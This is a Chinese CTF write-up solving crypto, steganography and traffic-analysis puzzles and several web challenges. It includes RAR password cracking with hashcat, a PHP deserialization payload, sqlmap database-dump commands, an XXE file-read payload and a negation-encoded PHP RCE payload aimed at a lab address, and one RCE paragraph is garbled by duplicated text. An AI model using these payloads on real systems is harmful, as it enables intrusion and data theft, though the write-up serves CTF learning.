题目 “@什马” 是提示编码方式为 “埃特巴什码” ,“ctfencode”是提示了这个在线解码网站:CTF在线工具
上面这一串内容就是数字加字母,实际上他们原本是16进制内容,而字母被进行了埃特巴什编码,什么?埃特巴什码是什么?喏:
埃特巴什码(Atbash Cipher)是一个系统:最后一个字母代表第一个字母,倒数第二个字母代表第二个字母。
在罗马字母表中,它是这样出现的:
常文:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
密文:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
简单说就是倒序字母表,总之先来它一下埃特巴什码解码,得到以下内容:
这是变异凯撒密码,什么是变异凯撒?先来说什么是凯撒?
凯撒密码:
它是一种替换加密的技术,明文中的所有字符都在字符表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。例如,当偏移量是3的时候,所有的字母A将被替换成D,B变成E,以此类推。
变异凯撒密码:
就是凯撒密码偏移量不是固定的值,例如,其偏移量是对每个字符:从第一个字符的偏移量为5,第二个字符的偏移量为6……第n个字符的偏移量为4+n。偏移量依次递增这种。
ASCII码表展示:
题目内容拿出来对照着看,看每一位偏移几位能得到flag:chgat;cWnSJZ@Q\7K)Ig
c==>f :3
h==>l :4
g==>l :5(为什么是l不是a,题目问题不用过分在意,后面可以多验证几位看是否符合)
a==>g :6
规律这不就出来了吗,3,4,5,6…,对照着ASCII码表,一个一个数就行了。
可以用脚本,脚本可以参考这个:
a='chgat;cWnSJZ@Q\\7K)Ig'
q=3
for i in a:
print(chr(ord(i)+q),end='')
q+=1
运行!flag!
考核那会看到rsa时刚准备大战一场的,结果被rar加密拦住了去路,这里使用一个工具爆破rar解压密码:Hashcat
它的官网在这:hashcat
它支持多种hash散列算法,支持对rar、office、pdf、windows账户、wifi等多种密码的破解。首先前往Hashcat官网下载软件包,点击这个下载已经编译生成了直接可以运行的exe可执行文件:
下载好Hashcat软件包之后建议在主目录下的地址栏中输入“cmd”通过命令行运行Hashcat:
同时,在使用Hashcat进行密码破解的时候需要辅助工具来获取加密文件的Hash,此处选用John the Ripper(点我下载)来获取加密文件的Hash,点击这个下载:
john也是通过命令行来运行,还需要配置一下环境变量:将john的run目录添加到PATH当中:
把easyrsa.rar放到run目录下,然后在run目录打开cmd命令行运行john:
rar2john.exe easyrsa.rar
输出rar的哈希值:冒号后面的部分就是:
然后在Hashcat的主目录打开cmd运行命令:
hashcat.exe -m 13000 -a 3 $rar5$16$3e01eda6ad903866f3e9af32ea371a40$15$4a3904084188c75380e4861930426283$8$6aedbe0f372f9a99 ?d?d?d?d -o out.txt
运行界面:
解释一下命令:
-m 13000 :指定哈希类型为rar5;
-a 3 :指定破解模式为使用指定掩码破解,就是上面john获取到的掩码;
-o out.txt :将输出结果存储到out.txt文件;
受限于篇幅,请参考:
宇宙最强开源破解密码利器:Hashcat 第一篇
黑客工具之Hashcat详解
爆破的结果已经存储到了out.txt文件中,冒号后面就是:
到这里终于步入正题,题目如下:
BOb给Alice传输了一段数据,通过监听你得到了n=16254707021883930518807493412586769230167 c=15308821457767509487737881728693150346158 e=65537,你可以得到密文吗?
注:此题正解为flag{xxxxxxxxxxx},xxxxxxxxx即为你获取到的数据
对n进行分解(分解得到p,q,只要知道p和q,就能解出任何rsa)
在线查询分解网站:http://www.factordb.com/index.php
得到p,q就可以用脚本轻松秒杀:
import gmpy2
p = 134783462951870118163
q = 120598674836603140909
e = 65537
c = 15308821457767509487737881728693150346158
n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(m)
套上flag{}就完了!
图片隐写,这张图片打开发现不完整,没显示完全,出题者修改了图片高度,查看图片属性
570是图片宽度,这个数字的16进制为23A,100为图片的高度,这个数字的16进制为64。我为什么要提起这个16进制呢?因为方便我在工具中修改它时找到它在哪。使用的工具为010 editor。
如图,023A是宽度,0064是高度,高度改一个值,改成023A就够了,把他的高度拉高,让他能够展示完全所隐藏的信息:
诺,flag直接显示出来辽。需要注意区分小写L和大写i。
解压后:
pass.txt里面是经过编码的内容,编码方式是base100(emoji编码)。
密码是:no_password,是什么的密码?
pass.txt旁边不还有一个图片吗?图片里面隐写了需要解压密码的压缩包,一般都这样。
拓展一点芝士:常见文件头,文件尾总结:
你看我在文件中搜索504B就搜到了,说明是隐写了zip文件在图片里面。
给这小子提出来,打包成zip文件。
具体操作如下:
选中504B及其之后所有内容,Ctrl+Shift+C复制;然后:
创建一个新HEX文件,然后Ctrl+Shift+Ctrl+Shift+V粘贴;然后保存为zip文件:
保存成功打开看看:
是吧,需要解压密码,刚刚的密码拿过来,一下就解开了。
解压出来是这玩意儿,看这玩意儿的清晰度我就想到用Stegsolve,但其实并不是,用记事本打开,就找到flag了!
考核时没有做出来很大一部分原因是不了解Stegsolve这个工具的功能,有工具用不好。
因为当时用过,但是没找出来。
题目所给是这样一张图片:
使用图片隐写解析器Stegsolve来解析,在点到Alpha0,Green0,Blue0时发现有东西:
但这里是竖排的,需要经过处理才行,点击Data Extract:数据提取,左边RGBA颜色通道勾选刚才说的Alpha0,Green0,Blue0;右边的Extra By(额外的)和Bit Order(位顺序)和Bit Plane Order(位平面的顺序)分别勾选Column(列),MSB first(一串数据的最高位),BRG(一般图片是24位 也就是3个8 大家可以想像成三明治 比如BRG就是B为三明治第一层 R为第二层 G为第三层)受限于篇幅,请参考这篇:stegsolve图片隐写解析器的使用
然后预览(Preview)就看到flag了:
此题完!
这题收获颇丰!复现过程认识到了USB流量,键盘流量。
哪样是USB流量?哪样又是键盘流量?是不是还有鼠标流量?
答:USB流量指的是USB设备接口的流量,攻击者能够通过监听usb接口流量获取键盘敲击键、鼠标移动与点击、存储设备的铭文传输通信、USB无线网卡网络传输内容等等。在CTF中,USB流量分析主要以键盘和鼠标流量为主。
USB协议数据部分在Leftover Capture Data域中,本题考了键盘流量,就是标出的这里:
数据长度为八个字节。其中键盘击键信息集中在第三个字节中。
如图,发现击键信息为0x00,即没敲,哈哈。
键位映射关系参考:《USB键盘协议中键码》中的HID Usage ID
好了我懂原理了,但是怎么解题?
我需要用到kali中的工具:tshark
把流量文件放到kali当中去,使用这个命令将capdata提取出来:
tshark -r test.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt #提取并去除空行
像这样:
根据《USB键盘协议中键码》中的HID Usage ID将数据还原成键位,可写一个Python脚本进行快速转换。
提取出来的数据可能会带冒号,也可能不带(有可能和wireshark的版本相关),但是一般的脚本都会按照有冒号的数据来识别。
有冒号时提取数据的[6:8];无冒号时数据在[4:6],那我不管,我是一个固执的人(bushi),统一把他干成有冒号的,使用脚本来给提取到的usbdata.txt内容添加冒号。
脚本1:给提取内容加冒号:
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16: # 鼠标流量的话len改为8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
运行成功得到如下文件:
提取出键盘流量后需要用脚本还原数据对应的信息。
脚本2:转换数据对应的信息:
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"" ,"29":"" ,"2a":"", "2b":"\t",
"2c":"" ,"2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"" ,"33":";","34":"'","35":"" ,"36":",","37":".",
"38":"/","39":"" ,"3a":"" ,"3b":"" , "3c":"" ,"3d":"" ,
"3e":"" ,"3f":"" ,"40":"" ,"41":"" ,"42":"" ,"43":"" ,
"44":"" ,"45":"" }
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"" ,"29":"" ,"2a":"", "2b":"\t","2c":"" ,
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"" ,"33":"\"",
"34":":","35":"" ,"36":"<","37":">","38":"?","39":"" ,"3a":"" ,
"3b":"" , "3c":"" ,"3d":"" ,"3e":"" ,"3f":"" ,"40":"" ,
"41":"" ,"42":"" ,"43":"" ,"44":"" ,"45":"" }
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="" :
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
运行成功得到flag,这题完!
文件解压后是一堆拼图,加一堆零一。很明显了,图片拼接起来是二维码,零一通过转化也是二维码
import os
from PIL import Image
m=Image.new('RGB',(400,400))#新建拼接后的文件,根据二维码大小自定义
images=[]#储存文件名用的字符串
path="C:\\Users\\1\\Downloads\\haha\\haha\\misc_love"#文件夹的路径
for cuedir,dirs,filename in os.walk(path):
for files in filename:
f=eval(files.split(".")[0])#将.前面文件名单独储存,并化为数字
images.append(f)#储存文件夹内的图片名称
images.sort()#整理文件名顺序
left=0
right=0#初始化图片位置为右上角
lenth=20#这里是拼接的图片的宽度,一般长宽一致
print(range(len(images)))
for i in range(len(images)):
image=Image.open(path+f"\\{images[i]}.png")#读入图片
m.paste(image, (left,right,left+lenth,right+lenth))#粘贴图片
left += lenth#初始位置向左移动
if (i+1) % 20==0:#当一行拼接完成后换行,这里数字填一行需要拼接多少个图片
left=0
right+=lenth
m.save("C:\\Users\\1\\Downloads\\haha\\haha\\misc_love\\combined.jpg")#保存拼接完成后的图片
运行成功后的结果,在你设置的目录下发现拼接完成的文件:
扫码得到的结果是前半段flag:flag{Never_give_up_
还有后半段,被放在了flag.txt中。
全是01的数字串,且数字的长度为一个整数的平方:50*50,有可能是以0、1表示黑或者白的一个像素,这样就可以生成一个正方形的像素图,以前遇到过这样的题目生成了一个二维码,扫描二维码得到Flag。
这里利用Python3的PIL中的Image库,用01数字串生成一个二维码:
from PIL import Image
MAX = 50 # 数字的长度为一个整数的平方(如36^2=1296)
pic = Image.new("RGB",(MAX,MAX))
str ="0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111110011000010000100000011111111111000000011111111111100110001100001000001111111111110000000110000000001000000000110010011011000000000100000001100000000010000000001100100110110000000001000000011001111100100000000011100110001100111110010000000110011111001000000000110000000011001111100100000001100111110010011001001100000110110011111001000000011001111100100001000111100011101100111110010000000110011111001000011011111001111011001111100100000001100000000010000111000011100000110000000001000000011000000000100001110000111000001100000000010000000111111111111001100100110010011011111111111100000000000000000000000000001101100110000000000000000000000000000000000000000011111111100000000000000000000000010011111001111111000011100100000010000100000000000110111110011111110000111001000000100001000000011111110011000001110000001000010000111001110000000011111100100000011100000010000100001110011100000000000000110010011000000000000110110000111111000000001000010000001110000001100000000000000000000000000110000100000011100000111000000000001100000000000000000100111110000000011100011000110011000000000000000001101111100000001111000110000100100000000000000001111111110001111001111001100000110001111100000000000000111100011110111111000000001100000111000000011000001111111111101111111000010011111001110000000001111111110000000100001111100111001100011000000000011111111100000001000011111001110011000110000000011001111111111110011100000001111111111110000000000010011111111111100111000000011111111111100000000000000000000000011001000000011110000010011001000000000111111111000001111110000001100100111000110000000111111111111000011111110000011011001110011100000001100000000010011111000000000110000011000110000000011000000000100111110000000001100000110001100000000110011111001001100100001001111111111110000000000001100111110010000001000011011111111111110000000000011001111100100000000000111111100100111111100000000110011111001001100000000001100011111111100100000001100111110010011000000000011000011111111001000000011000000000100001110011001000010000000001100000000110000000001000011100110110000100000000011000000001111111111110000001000011100111111111100111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
i=0
for y in range(0,MAX):
for x in range(0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0,0,0))
else:pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
运行成功后会将脚本所作的图保存并打开,扫描二维码以获得剩下的flag字段。
此题完!
这是签到题,使用BP抓包即可,手速快的话甚至可截图,不过多赘述了哈。
我就截到了,20年单身不是吹的。
他们说:看到unserialize就明白这道题考php反序列化。
他们说考点是:
“__toString()”是php中的一个魔术方法,在把对象转换成字符串时自动调用。用于:一个类被当成字符串时应怎样回应;该方法必须返回一个字符串,否则将发出一条“E_RECOVERABLE_ERROR”级别的致命错误。
意思么就是,当一个对象被当成字符串输出时,php会自动调用该对象的__toString()方法。
die()与echo的作用类似,会输出字符串。
写payload!
<?php
class mouse
{
public $v;
public function __construct()
{
$this->v = 'php://filter/convert.base64-encode/resource=flag.php';
}
}
class cat
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->b = &$this->a; // &是取地址符号,b将指向a的地址空间,这时a和b都是指向同一个地址空间,给b赋值就相当于给a赋值。
$this->c = new mouse();
}
}
$abc = new cat();
echo serialize($abc);
在mouse类和cat类重新给变量赋值了,mouse里面用了个php://伪协议流读flag,cat里面的b变量指向a的空间地址,也就是b变成了一个指针变量,此时给b赋值就是给a赋值,重新把a原本的dog类覆盖了。然后c赋值为mouse类,最终用die()输出a,die()和echo一样输出字符串,这样子就触发mouse类中的__tostring魔术方法。
payload序列化后是这样:
O:3:"cat":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:5:"mouse":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}
到这里基本就结束了,只需要传参/?cat=O:3:“cat”:3:{s:1:“a”;N;s:1:“b”;R:2;s:1:“c”;O:5:“mouse”:1:{s:1:“v”;s:52:“php://filter/convert.base64-encode/resource=flag.php”;}}
传参得到的这一串东东:PD9waHAKJGZsYWc9ImZsYWd7YjY3YjQ4NWM4NTZkNDc0YjI5ZWM4OGQ5NGFjNmY4NjF9IjsKPz4K
给它来一下base64解码,即得到flag,此题终结!
考核的时候没能做出来,因为当时只会手注,这又是一个布尔盲注,累个半死没注出来。
复现的时候用了sqlmap一下就跑出来了,sqlmap一把梭真甜美爽啊!
经过测试(1’ or 1=1 – q),发现是一个布尔盲注,手注也能注出来,但是工作量实在大,手注的意义更多的是在于学习方法吧!sqlmap可以跑,怎么跑呢?
这是POST请求方式嘛,sqlmap进行POST注入的方法是:
BP抓包,抓到的内容导出为一个文本文件,然后sqlmap跑这个文件。很简单吧!
我为什么没有想到呢?
第一步:导出抓包文件1.txt
第二步:跑数据库名。-r表示加载一个文件,用文件来跑的话就用-r的。
python sqlmap.py -r C:\Users\1\Desktop\1.txt --dbs
OK!一跑就跑出来了,flag存在user数据库中:
跑数据库user里面的表名:
python sqlmap.py -r C:\Users\1\Desktop\1.txt -D user --tables
跑出了flag表,接下来跑flag中的内容:
python sqlmap.py -r C:\Users\1\Desktop\1.txt -D user -T flag --dump
成功得到flag!
尝试注入,提示:“你都知道哪些注入,换一个注入试试?”
查看源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>inject</title>
</head>
<body >
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
</div>
<div class="page-content">
<form method="post">
<p>这是一个注入:</p>
<input type="text" name="xml" />
<input type="submit" name="submit" value="提交">
</form>
<p>你都知道哪些注入,换一个注入试试?</p>
</div>
</div>
</div>
</body>
</html>
发现是xml外部实体注入(XXE),受限于篇幅,请查看:
XXE知识总结,有这篇就够了!
XXE漏洞
那么可以读取本地文件,通过 file:// 可以读取本地文件:
<?xml version="1.0"?><!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:flag"> ]><a>&xxe;</a>
输入上述 XML 提交后,成功读取到 /flag文件内容:
此题完!
<?php
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
declare(ticks=59999); //声明php解释器在执行 59999 条指令后触发一次 tick
function getflag(){
readfile("./flag.php");
}
$rangeNum=$_GET['range'];
$rangeNum=substr($rangeNum,0,3);
echo "
";
if($rangeNum>100000 || !isset($_GET['range']))
die("师兄怎么可能带你去喝奶茶茶");
$regis_call=$_GET['func'];
$spec=array("\\",".","(",")","[","]","|","&","$","^","%","=");
$regis_call=str_replace($spec,"",$regis_call);
if(!isset($_GET['func']) || preg_match('/call|invoke|shell|php|sys|pass|user|sort|create|file|shutdown|static|get|foo|sleep|exec|eval|preg|str|set/i',$regis_call) || strlen($regis_call)<10 || strlen($regis_call)>30)
die("到底还要我怎样才能喝到师兄的奶茶茶");
$regis_call('getflag');
$i=0;
while($i<$rangeNum)
$i++; //递增变量 $i,直到它的值达到 $rangeNum
print("师兄,我想喝奶茶茶!");
echo "
";
print("去源代码里喝")
?>
师兄怎么可能带你去喝奶茶茶
这是一个参数:range
$rangeNum=$_GET['range'];
$rangeNum=substr($rangeNum,0,3);
echo "
";
if($rangeNum>100000 || !isset($_GET['range']))
die("师兄怎么可能带你去喝奶茶茶");
$rangeNum
是通过 $_GET['range']
获取的参数,然后进行了截取操作:$rangeNum=substr($rangeNum,0,3);
,这意味着传递给 range 参数的值会被截取为前三个字符。但在后续比较中,将使用整数形式进行比较。所以利用科学计算法来传:
range=1e5
又一个传参:func
$regis_call=$_GET['func'];
$spec=array("\\",".","(",")","[","]","|","&","$","^","%","=");
$regis_call=str_replace($spec,"",$regis_call);
if(!isset($_GET['func']) || preg_match('/call|invoke|shell|php|sys|pass|user|sort|create|file|shutdown|static|get|foo|sleep|exec|eval|preg|str|set/i',$regis_call) || strlen($regis_call)<10 || strlen($regis_call)>30)
die("到底还要我怎样才能喝到师兄的奶茶茶");
通过 $regis_call = $_GET['func'];
将传入的 func 参数的值赋给变量 $regis_call
。
使用 $spec
数组中的特殊字符,通过 str_replace()
函数将 $regis_call
中的特殊字符替换为空字符串。
执行一系列的条件检查来验证传入的 func 参数是否满足安全要求。这些条件包括:
检查 $_GET['func']
是否存在(即检查是否传入了 func 参数)。
使用 preg_match()
函数和正则表达式检查 $regis_call
是否包含特定的关键词(如 call、shell、eval 等)。
使用 strlen()
函数检查 $regis_call
的长度是否在 10 到 30 之间。如果传入的 func 参数不满足上述条件中的任何一个,代码将执行 die() 函数,输出一条错误信息并终止脚本执行。
因为有declare声明语句:php解释器在执行 59999 条指令后触发一次 tick
通过 register_tick_function() 注册一个函数作为 tick 函数,使其在每个 tick 发生时被调用。
(初次接触,如果我说的有误烦请指正)所以传参为:
func=register_tick_function
最终playload:
?range=1e5&func=register_tick_function
flag在源码中:
本题完!
给了一段源码,是一个简单的PHP脚本,实现了一个基本的命令执行功能:
我们逐行分析它:
show_source(__FILE__);
: 这行代码用于显示当前文件的源代码。在这个脚本中,它的作用是将整个脚本的源代码输出到浏览器。
$cmd = $_GET['cmd'];
: 这行代码从GET请求参数中获取名为’cmd’的值,并将其赋给变量$cmd。这意味着可以通过在URL中添加?cmd=来传递命令。
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"||\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is',$cmd)){
: 这行代码检查$cmd`的长度是否大于80个字符,或者是否匹配正则表达式中定义的一些特殊字符和关键字。如果满足这些条件之一,脚本将停止执行并显示"no hack!!!"。
else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $cmd)){
: 这行代码使用正则表达式替换操作符来检查 c m d 是否只包含一个单独的分号。如果是这样,它将执行 e v a l ( cmd是否只包含一个单独的分号。如果是这样,它将执行eval( cmd是否只包含一个单独的分号。如果是这样,它将执行eval(cmd),也就是执行用户传递的命令。
那么这题的解法就属于无参数的RCE绕过和取反,并且需要二维数组绕过。
重点学习无参数的RCE绕过
使用?cmd
传命令phpinfo();
,不能直接传对吧?先进行取反。phpinfo();
取反后:
[~%8f%97%8f%96%91%99%90][!%FF]();
注意:[!%FF]是0的意思,因为前面是个数组,加一个[!%FF]是取数组里面的第0项。
取反之后可以直接传参:
http://192.168.31.212:2804/?cmd=[~%8f%97%8f%96%91%99%90][!%FF]();
flag直接藏在了php信息中,搜索flag: